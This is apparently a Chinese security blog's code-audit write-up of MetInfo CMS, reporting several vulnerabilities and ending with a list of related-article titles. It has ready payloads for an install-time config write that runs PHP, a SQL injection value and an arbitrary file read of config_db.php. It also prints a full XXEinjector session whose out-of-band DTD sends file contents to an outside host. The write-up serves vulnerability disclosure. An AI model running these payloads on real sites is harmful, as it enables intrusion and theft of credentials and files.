最近想给 X 天贡献点插件,时常会去留意 seebug 的最新漏洞列表,发现最近 MetInfo 的漏洞上座率蛮高的,就挑它来代码审计了一波。

seebug 上均是 MetInfo 6.0.0 版本的,官方已更新至 6.1.0 上述问题是否修复了呢?

入口文件

这个框架的入口文件很多,都是index.php,比如online/index.php文件:

<?php
define('M_NAME', 'online');
define('M_MODULE', 'web');
define('M_CLASS', 'online');
define('M_ACTION', 'do_online');
require_once '../app/system/entrance.php';

定义了四个常量,用于框架载入时区分入口来源、所属模块、调用类及方法,最后载入entrance.php调用里面的静态方法load::module(); 加载所需模块。

通过查找index.php入口文件,找到可以达到前台大多数方法的文件: /member/index.php。

<?php
$M_MODULE='web';
if(@$_GET['m']) $M_MODULE=$_GET['m'];
if(@!$_GET['n']) $_GET['n'] = "user";
if(@!$_GET['c']) $_GET['c'] = "profile";
if(@!$_GET['a']) $_get['a'] = "doindex";
@define('M_NAME', $_GET['n']);
@define('M_MODULE', $M_MODULE);
@define('M_CLASS', $_GET['c']);
@define('M_ACTION', $_GET['a']);
require_once '../app/system/entrance.php';

可以看到,通过控制$_GET我们可以到达大多数方法。为什么是大多数呢?因为无法直接控制_load_class加载系统类。

里面的$action必须要do开头,也就是调用的方法名必须要do开头。

低版本信息泄漏

在安装之前,我首先对比了一下两个版本的修改文件记录,发现上一个版本的install文件夹中存在一个phpinfo.php文件,里面就是一段<?php phpinfo(); ?> 代码(6.1.0版本中已删除)。

这就方便我们获取目标网站的绝对路径,后期不管是写shell还是存在文件读取的情况,可以快速定位及利用。

网上找到的实例:

安装时写getshell

前提条件:

想利用此处首先需要删除config/install.lock安装锁文件。

在安装过程中执行到db_setup(3.数据库设置)步骤时,发现存在配置文件任意更改的情况。

最近在看<php配置文件写入问题>

https://github.com/CHYbeta/Code-Audit-Challenges/blob/master/php/challenge-3.md)

一直想找机会将它写一篇文章刚好这个 CMS 给了我机会。

关键函数fputs()它是fwrite()函数的别名,用于文件写入。而且这里的逻辑也存在问题,应该将对文件的操作放在数据库连接判断后面。

当我们提交payload后:

setup=1&db_type=mysql&db_prefix=met_met"*/phpinfo();/*
&db_host=localhost&db_name=met&db_username=root&db_pass=
&cndata=yes&endata=yes&showdata=yes&submit=保存数据库设置并继续

虽然页面提示:数据库连接数据库失败,但config/config_db.php文件内容已经被改变了。

参数受到64行代码影响,'__COOKIE', '_POST', '_GET'传递都会加上addslashes()函数,所以单/双引号会在前面加个反斜杠。

<?php/*con_db_host = "localhost"con_db_port = "3306"con_db_id = "root"con_db_pass = ""con_db_name = "met"tablepre = "met_met\"*/phpinfo();/*"db_charset = "utf8";*/
?>

我们访问下看下:

实际上就是用*/去闭合最外层的/*,多行注释的优先级是很高的。

XXE漏洞

漏洞发生在此处文件: app/system/pay/web/pay.class.php,未禁外部实体加载:

测试下是否存在外部引用:

使用XXEinjector工具来验证漏洞,读取本地文件:

# x @ xdeMacBook-Pro in ~/work/tools/HackTools/xxe/XXEinjector on git:master x [19:42:19] C:1
$ cat /etc/networks
##
# Networks Database
##
loopback127loopback-net# x @ xdeMacBook-Pro in ~/work/tools/HackTools/xxe/XXEinjector on git:master x [19:42:29]
$ cat phprequest.txt
POST /member/index.php?a=donotify&m=web&c=pay&n=pay HTTP/1.1
Host:cms777.com
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0
Accept:application/json, text/javascript, */*; q=0.01
Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding:gzip, deflate
Content-Type:text/xml
Referer:http://cms777.com/\;
X-Requested-With:XMLHttpRequest
DNT:1
Connection:close
Pragma:no-cache
Cache-Control:no-cache
Content-Length:129XXEINJECT
<data>4</data># x @ xdeMacBook-Pro in ~/work/tools/HackTools/xxe/XXEinjector on git:master x [19:42:34]
$ sudo ./XXEinjector.rb --host=192.168.31.21 --file=/Users/x/work/tools/HackTools/xxe/XXEinjector/phprequest.txt --path=/etc/networks --verbose --httpport=89 --oob=http --phpfilter
XXEinjector by Jakub PałaczyńskiEnumeration options:
"y" - enumerate currect file (default)
"n" - skip currect file
"a" - enumerate all files in currect directory
"s" - skip all files in currect directory
"q" - quit[+]Sending request with malicious XML:
http://cms777.com:80/member/index.php?a=donotify&m=web&c=pay&n=pay
{"User-Agent"=>"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept"=>"application/json, text/javascript, */*; q=0.01", "Accept-Language"=>"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding"=>"gzip, deflate", "Content-Type"=>"text/xml", "Referer"=>"http://cms777.com/\\;", "X-Requested-With"=>"XMLHttpRequest", "DNT"=>"1", "Connection"=>"close", "Pragma"=>"no-cache", "Cache-Control"=>"no-cache", "Content-Length"=>"118"}<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.31.21:89/file.dtd">%remote;%int;%trick;]>
<data>4</data>[+]Got request for XML:
GET /file.dtd HTTP/1.0[+]Responding with XML for:/etc/networks
[+]XML payload sent:
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/networks">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.31.21:89/?p=%payl;'>">[+]Response with file/directory content received:
GET /?p=IyMKIyBOZXR3b3JrcyBEYXRhYmFzZQojIwpsb29wYmFjawkxMjcJCWxvb3BiYWNrLW5ldAo=HTTP/1.0[+]Retrieved data:
[+]Nothing else to do. Exiting.

IyMKIyBOZXR3b3JrcyBEYXRhYmFzZQojIwpsb29wYmFjawkxMjcJCWxvb3BiYWNrLW5ldAo= 的内容正好是 /etc/networks 文件内的内容。

对比 6.1.0 版本,此处未被修复,XXE 存在。

此处还存在一个 鸡助的SQL注入

当传递 XML 内容:

<data>
<out_trade_no>' and '1'='1</out_trade_no>
</data>

会进入GetOrder()方法:

if ($array && $array['out_trade_no']) {$date = $this->GetOrder($array['out_trade_no']);%this->doNotify_wxpay($date);
}

方法内部,$out_trade_no变量直接拼接进了sql语句中:

public function GetOrder($out_trade_no) {global $_M;if ($out_trade_no) {$query = "SELECT * FROM {$_M['table']['pay_order']} WHERE out_trade_no='{$out_trade_no}' ";$array = DB::get_one($query);return $array;} else {return FALSE;}
}

但是,利用的前提要满足$_M['table']['pay_order']表存在,不然无法造成攻击:

然后,亲切问候一下:您忙,我吃柠檬,您开心就好!~

任意文件读取

我们全局正则搜索下 \$_GET|\$_POST,发现一处可疑的地方接收$_GET['dir']。

从图中的代码中可以看到,接收外部参数后,将文件读入缓存中后再用flush()函数刷新输出缓冲至浏览器。

但目录地址不能直接使用,需要进入if函数中去,而$dir变量中的字符串前4位必须要有http。

我赌一块钱,当初写这段代码的程序员是想加外链图片的显示。

当然我们传入./.../后,经过str_replace函数替换后会得到一个.,而单独的/是不会被过滤的,如此反复即可构造出突破限制的路径。

最终的payload:

/member/index.php?a=doshow&m=include&c=old_thumb&dir=http/./.../..././/./.../..././/config/config_db.php

MetInfo最新版代码审计漏洞合集相关推荐

  1. Laravel 漏洞合集

    Laravel 漏洞合集 Laravel 存在SQL注入漏洞 poc: /test?email=1&id=1 union select user()# /test?email=1/`& ...

  2. Spring框架漏洞合集

    Spring框架漏洞合集 Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977) 访问路径/oauth/authorize,会看到左上角有个绿色叶子的标志,一般都 ...

  3. spring漏洞合集 下

    前言 现在的 java 开放的网站十个里面有九个是 spring 写的.网上对 spring 相关漏洞的资料很多,但是总结的文章却很少,再加上 spring 庞大的生态,每当看到 spring 相关网 ...

  4. 二十八种未授权访问漏洞合集(暂时最全)

    目录 0x01 未授权漏洞预览 0x02 Active MQ 未授权访问 0x03 Atlassian Crowd 未授权访问 0x04 CouchDB 未授权访问 0x05 Docker 未授权访问 ...

  5. YKfaka优卡自动发卡程序漏洞合集(这是篇水文)

    源码下载地址:https://www.songma.com/product/view188448.html 大部分都是基于宝塔安装目前常见版本:5.7.2(市面上含有少量的5.7.1及5.7.0) 演 ...

  6. zend及Slim 漏洞合集

    zend漏洞 zend framework文件读取漏洞分析 Zend Framework 1.11.13.1.12.0之前版本内的(1) Zend_Dom, (2) Zend_Feed, (3) Ze ...

  7. Typo3及Nette漏洞合集

    Typo3 漏洞 Typo3 反序例化漏洞 在表单中提交任意符合数组格式的输入,在后端代码中都会被解析,然后后端根据TCA来进行判断并处理.比如我们在提交表单中新增一个名为a[b][c][d],值为2 ...

  8. struts2远程代码执行漏洞合集

    声明 好好学习,天天向上 S2-001 漏洞描述 因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中.例 ...

  9. Spring MVC漏洞合集

    Spring MVC 目录穿越漏洞(CVE-2018-1271) 漏洞简介 2018年04月05日,Pivotal公布了Spring MVC存在一个目录穿越漏洞(CVE-2018-1271).Spri ...

最新文章

  1. 为什么阿里巴巴开发手册中强制要求 POJO 类使用包装类型?NPE问题防范
  2. php curl 代理ip访问url
  3. linux基础学习(十)
  4. [转]常用Delphi开发资料网址
  5. 如何得到别人的上网帐号和密码
  6. .NET6 如期⽽⾄
  7. 1.6编程基础之一维数组_04数组逆序重放
  8. http协议get_BeetleX之简单HTTP/HTTPS实现
  9. Java 开发环境配置jdk安装教程
  10. android打开相机拍照及打开相册选择照片
  11. SqlServer标识列、修改标识列值
  12. Selenium Automated test 's Installation environment
  13. php如何打包成apk,windows下PHP批量生成打包android程序APK
  14. matlab输入二项分布函数,MATLAB如何使用binopdf函数计算二项分布的概率
  15. 重构手法46:Parameterize Method (令函数携带参数)
  16. 刚刚,10位青年学者获得阿里达摩院青橙奖,钟南山寄语,每人100万,最小获奖者28岁
  17. contiki仿真模拟器cooja的使用
  18. 图像算法工程师面试考点集锦
  19. windows 没有应用商店,直接安装所需应用的解决方案
  20. 我的世界java边境之地_我的世界边境之地是什么 我的世界边境之地介绍

热门文章

  1. winform中openfiledialog过滤压缩文件格式_什么是最佳图像格式?不同的文件格式及其特点...
  2. 使用Introspector(Java内省机制)实现Map转换为JavaBean
  3. 剑指 Offer 07. 重建二叉树【千字分析,三种方法】
  4. 15行代码AC_ 【蓝桥杯】兴趣小组(解题报告+思考)
  5. python求阶乘和
  6. linux curl 多线程,CURL多线程不执行一直在请求
  7. php 获取请求,PHP 扩展 - 获取请求信息
  8. python笔记之while和for循环练习
  9. java什么时候新建进程_创建名为“ {java}”的线程(即轻量级进程)是为了什么?...
  10. miui微博html5版关闭,MIUI10迎来最后一波开发版推送 可关闭广告消息